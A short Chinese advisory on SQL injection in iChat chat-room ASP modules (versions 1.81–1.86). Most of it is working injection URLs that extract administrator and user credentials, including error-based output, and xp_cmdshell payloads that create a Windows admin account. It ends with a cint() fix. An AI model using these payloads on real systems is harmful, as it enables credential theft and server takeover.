ichat聊天室asp模块存在SQL注入漏洞和演示 涉及版本 ichat1.81 ichat1.85 ichat1.86 ichat聊天室是国内比较著名的聊天服务器软件,其中的百宝箱里面的userboxrun.asp,userboxsend1.asp等文件存在sql 注入漏洞,用户提交: http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 username from admin) http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 pass from admin) http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 username from userinfo) http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 userpassword from userinfo) 等一系列url能得到聊天室管理员用户名称和密码。 在没关闭详细错误显示的sql版服务器上提交: http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 username from admin)=5 http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 ;;and (select top 1 pass from admin)=5 类似url可以得到如下显示 Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 admin 转换为数据类型为 int 的列时发生语法错误。 /shop/userboxrun.asp,行27 admin即为管理员名称 Microsoft OLE DB Provider for SQL Server 错误 80040e07 将 varchar 值 ichat 转换为数据类型为 int 的列时发生语法错误。 /shop/userboxrun.asp,行27 ichat即为管理员密码,具体过程不再详述。 最危险的是,在没删除xp_cmdshell储存过程的sql版服务器上,如果用于ichat连接数据库的sql用户是sa权限的,提交如下url: http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;exec master.dbo.xp_cmdshell "net user xiaolu xiaoxue /add";-- http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266;exec master.dbo.xp_cmdshell "net localgroup administrators xiaolu /add";-- 可以添加用户名称为:xiaolu,密码为:xiaoxue的服务器管理员。 解决办法: 在 wpid=request.querystring("wp") wpid=replace(wpid,"","") 添加: wpid=cint(wpid) |